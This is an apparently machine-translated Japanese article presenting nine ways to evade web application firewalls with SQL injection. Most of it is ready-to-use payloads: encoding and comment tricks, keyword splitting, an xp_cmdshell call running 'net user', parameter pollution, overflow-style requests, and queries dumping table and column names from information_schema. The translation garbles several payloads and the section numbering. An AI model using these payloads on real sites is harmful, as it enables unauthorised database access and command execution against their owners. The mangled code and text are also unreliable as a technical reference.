SQL注入でWAFをバイパスする9つの方法
0x01はじめに
WAFは従来のファイアウォールとは異なります。WAFは特定のWebアプリケーションのコンテンツをフィルタリングできるのに対し、従来のファイアウォールはサーバー間の防御ゲートとして機能します。 HTTPトラフィックをチェックすることにより、SQLインジェクション、クロスサイトスクリプト(XSS)、ファイル包含、セキュリティ構成エラーなどのブロッキングなどのWebアプリケーションセキュリティの脆弱性から保護できます。
0x02 WAF作業原理
§例外プロトコルの検出:HTTP標準に準拠していないリクエストを拒否する
§入力検証の強化:クライアント側の検証だけでなく、プロキシとサーバー側の検証
§ホワイトリストとブラックリスト
§ルールベースと例外保護:ルールベースのメカニズムは、より黒ベースで柔軟な例外です
§国家管理:防衛セッション保護(Cookie保護、反侵入回避技術、対応監視、情報開示保護)。
0x03バイパスwaf
1。Casechangeの混合悪意のある入力トリガーWAF保護をトリガーし、WAFがケースに敏感なブラックリストを使用している場合、このフィルターをバイパスする可能性があります。
http://target.com/index.php?page_id=15ユニオン選択1,2,3,4
2。キーワードを交換します(wafで削除される特殊文字を挿入)---選択は、選択する場合があります。特殊文字が削除されると、Selectで実行されます。
http://Target.com/index.php?page_id=15nbsp; uniunionon selselectect 1,2,3,4
3。エンコードpage.php?id=1%252f%252a*/union%252f%252a
/選択
ヘキサデシマルエンコーディング:Target.com/index.php?page_id=15
/*!u%6eion*//*!se%6cect*/1,2,3,4…select(extractvalue(0x3c613e61646d696e3c2f613e、0x2f61))
:id=10%d6 '%20and%201=2%23選択
'ä'='a'; #1
4。攻撃文字列にコメントを使用します------コメントを挿入します。例えば/*! select */はWAFで無視される場合がありますが、ターゲットアプリケーションに渡されると、MySQLデータベースによって処理されます。
index.php?page_id=-15
%55NION/**/%53Elect 1,2,3,4
'Union%A0Select Pass fromユーザー#
index.php?page_id=-15
/*!Union*//*!Select*/1,2,3
?page_id=null%0a/** //*!50000%55nion*//*yoyu*/all/**/%0a/*!%53Elect*/%0a/*nnaa*/+1,2,3,4…
5。同等の機能とコマンド---キーワード検出のためにいくつかの関数またはコマンドを使用することはできませんが、多くの場合、同等または類似のコードを使用できます。
hex()、bin()==
ascii()
sleep()==benchmark()
concat_ws()==group_concat()
substr((select 'password')、1,1)
=0x70
strcmp(左( 'パスワード'、1)、
0x69)=1
strcmp(左( 'パスワード'、1)、
0x70)=0
strcmp(左( 'パスワード'、1)、
0x71)=-1
mid()、substr()
==substring()
@@ user==user()
@@ datadir==datadir()
5。特別なシンボル----特別なシンボルには、特別な意味と使用法があります
+ `symbol: select` version() `;
++-:Select+ID-1+1.ユーザーから。
+ @:Select @^1.Fromユーザー;
+mysql function()as xxx
+ `、〜、 @、%、()、[]、 - 、 +、|、%00
例:
'se'+'lec'+’t'
%s%e%l%e%c%t 1
1.aspx?id=1; exec( 'ma'+'ster.x'+'p_cm'+'dsh'+'ell
「ネットユーザー」 ')
'または - +2= - !' 2
id=1+(uni)(on)+(sel)(ect)
7。HTTPパラメーター汚染------複数のパラメーター=値を視聴およびバイパスするために値の値を提供します。 http://example.com?id=1?d='または' 1 '=' 1 ' - ' - 'in(例えば、Apache/PHPを使用する)を考えると、アプリケーションは最後の(2番目の)ID=のみを解析し、WAFは最初のID=のみを解析します。これは合理的な要求のように思えますが、アプリケーションは依然として悪意のある入力を受信して処理します。今日のほとんどのWAFは、HTTPパラメーター汚染(HPP)の影響を受けませんが、まだ試してみる価値があります。
hpp(httpパラメーター分析): /?id=1; select+1,2,3+from+users+where+id=1—
/?id=1; select+1amp; id=2,3+from+users+where+id=1—
/?id=1/**/union/*amp; id=*/select/*amp; id=*/pwd/*amp; id=*/from/*amp; id=*/usershppは繰り返しパラメーター公害としても知られています。
=3。この場合、異なるWebサーバーは次のように処理します:HPF(HTTPパラメーターセグメンテーション):この方法は、CRLFと同様のHTTPセグメンテーションインジェクションです(コントロール文字0A、%0Dなどを使用します。
/?a=1+union/*amp; b=*/select+1、pass/*amp; c=*/from+users--
a=1から *を選択します
Union/*およびb=*/select 1、pass/* limit*/fromユーザー -
HPC(HTTPパラメーター汚染):
RFC2396は次の文字を定義します。
unsurved: a-z、a-z、0-9および_。 〜 * '()
予約済み: /? @ amp;
=+ $、
賢明な: {} | \ ^ [] `
異なるWebサーバー処理プロセスには、特別なリクエストの構築時に異なるロジックがあります。マジック文字のための%ASP/ASP.NETは影響を受けます
8。バッファオーバーフロー--- WAFは常にアプリケーションであり、他のアプリケーションと同じソフトウェアの欠陥を受けやすい。バッファオーバーフローの脆弱性が発生した場合、コードの実行を引き起こさない場合でも、WAFがクラッシュする可能性があります。WAFが適切に実行される可能性があります。
?id=1および(select 1)=(select
0xa*1000)+Union+Select+1,2、version()、4,5、database()、user()、8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
9.統合統合とは、さまざまなバイパス技術を使用することを意味します。単一のテクノロジーはフィルタリングメカニズムをバイパスできない場合がありますが、さまざまなテクノロジーを使用してそれらを混合する可能性が大きくなります。
Target.com/index.php?page_id=15+and+ (Select
1)=([0xaa]を選択します[.(約1000を追加します
'a').])+/*!union*/+/*!select*/+1,2,3,4…
id=1/*!union*/+select+1,2、concat(/*!table_name*/)+from
/* information_schema*/.tables/*!where*/+/*!table_schema*/+like+database() -
?id=-725+/*!union*/+/*!select*/+1、group_concat(column_name)、3,4,5+from+/*!Information_schem*/。columns+where+table_name=0x41646d696e------
参照リンク:https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/
wiz_tmp_tag id='wiz-table-range-border' contentedable='false' style='display: none;'